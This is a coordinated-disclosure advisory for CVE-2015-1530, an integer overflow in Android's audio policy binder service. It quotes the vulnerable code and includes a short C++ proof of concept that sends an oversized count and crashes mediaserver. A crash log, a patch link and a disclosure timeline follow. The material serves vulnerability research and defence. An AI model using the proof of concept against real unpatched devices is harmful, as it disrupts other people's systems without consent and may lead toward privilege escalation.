############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1530 # Product: Android # Vendor: Google # Subject: An integer overflow in Android media could be exploited to get media_server permission # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # ############################################################################# Introduction ------------ An Integer overflow in the BnAudioPolicyService::onTransact function in frameworks /av /media /libmedia / IAudioPolicyService.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of count value. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18226810 https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160 Description ----------- The vulnerable code is as follows. http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661 case QUERY_DEFAULT_PRE_PROCESSING : { 656 CHECK_INTERFACE ( IAudioPolicyService , data , reply ); 657 int audioSession = data . readInt32 (); 658 uint32_t count = data .readInt32 (); 659 uint32_t retCount = count ; 660 effect_descriptor_t *descriptors = 661 (effect_descriptor_t *)new char[count * sizeof( effect_descriptor_t )];--------------------->count can be set to any value by binder client, which can cause integer overflow and when write to this buffer, heap corruption will happen. 662 status_t status = queryDefaultPreProcessing (audioSession , descriptors , & retCount ); 663 reply -> writeInt32 ( status ); 664 if (status != NO_ERROR && status != NO_MEMORY ) { 665 retCount = 0; 666 } 667 reply -> writeInt32 ( retCount ); Attack vector ------------- A normal Apps can corrupt the heap in mediaserver by this vulnerabilities. the PoC of corrupting the heap is as follows #include #include #include #include #include #include #include #include using namespace android; int main(__attribute__((unused)) int argc, __attribute__((unused)) char* const argv[]) { sp sm = defaultServiceManager(); sp service = sm->checkService(String16("media.audio_policy")); sp iPolicy = IAudioPolicyService::asInterface(service); effect_descriptor_t descriptors; uint32_t count=0xfffffff; iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1); iPolicy->queryDefaultPreProcessing(1,&descriptors,&count); return 0; } the crash Log is as follows: --------- beginning of crash F/libc ( 184): new[] failed to allocate 3221225300 bytes F/libc ( 184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1) I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG ( 180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' I/DEBUG ( 180): Revision: '10' I/DEBUG ( 180): ABI: 'arm' I/DEBUG ( 180): pid: 184, tid: 654, name: Binder_1 >>> /system/bin/mediaserver <<< I/DEBUG ( 180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- W/NativeCrashListener( 613): Couldn't find ProcessRecord for pid 184 I/DEBUG ( 180): Abort message: 'new[] failed to allocate 3221225300 bytes' E/DEBUG ( 180): AM write failure (32 / Broken pipe) I/DEBUG ( 180): r0 00000000 r1 0000028e r2 00000006 r3 00000000 I/DEBUG ( 180): r4 b46ffdb8 r5 00000006 r6 0000000c r7 0000010c I/DEBUG ( 180): r8 0fffffff r9 000003f5 sl 000000b8 fp 00000001 I/DEBUG ( 180): ip 0000028e sp b46ffab8 lr b6f44941 pc b6f6676c cpsr 60070010 I/DEBUG ( 180): I/DEBUG ( 180): backtrace: I/DEBUG ( 180): #00 pc 0003576c /system/lib/libc.so (tgkill+12) I/DEBUG ( 180): #01 pc 0001393d /system/lib/libc.so (pthread_kill+52) I/DEBUG ( 180): #02 pc 000143e7 /system/lib/libc.so (raise+10) I/DEBUG ( 180): #03 pc 00010e8d /system/lib/libc.so (__libc_android_abort+36) I/DEBUG ( 180): #04 pc 0000f954 /system/lib/libc.so (abort+4) I/DEBUG ( 180): #05 pc 00012225 /system/lib/libc.so (__libc_fatal+16) I/DEBUG ( 180): #06 pc 000128fd /system/lib/libc.so (operator new[](unsigned int)+16) I/DEBUG ( 180): #07 pc 00056367 /system/lib/libmedia.so (android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+1158) I/DEBUG ( 180): #08 pc 000167a5 /system/lib/libbinder.so (android::BBinder::transact(unsigned int, android::Parcel const&, android::Parcel*, unsigned int)+60) I/DEBUG ( 180): #09 pc 0001aea3 /system/lib/libbinder.so (android::IPCThreadState::executeCommand(int)+562) I/DEBUG ( 180): #10 pc 0001afbf /system/lib/libbinder.so (android::IPCThreadState::getAndExecuteCommand()+38) I/DEBUG ( 180): #11 pc 0001b001 /system/lib/libbinder.so (android::IPCThreadState::joinThreadPool(bool)+48) I/DEBUG ( 180): #12 pc 0001ee93 /system/lib/libbinder.so I/DEBUG ( 180): #13 pc 0000e97d /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112) I/DEBUG ( 180): #14 pc 0000e505 /system/lib/libutils.so I/DEBUG ( 180): #15 pc 00013133 /system/lib/libc.so (__pthread_start(void*)+30) I/DEBUG ( 180): #16 pc 0001120b /system/lib/libc.so (__start_thread+6) I/DEBUG ( 180): I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_00 I/BootReceiver( 613): Copying /data/tombstones/tombstone_00 to DropBox (SYSTEM_TOMBSTONE) Milestones ---------- Date Comment Sender 03/11/2014 Initial Report of CVE-2015-1530 Qihoo 08/11/2014 have validated and have created a suitable fix internally Google 11/11/2014 Sent the Android Bug ID 18226810 Google 10/2/2015 Sent the CVE-ID Google 11/3/2015 Lollipop 5.1 was released, disclose it Qihoo References ---------- [1]https: //android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160 [2] http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661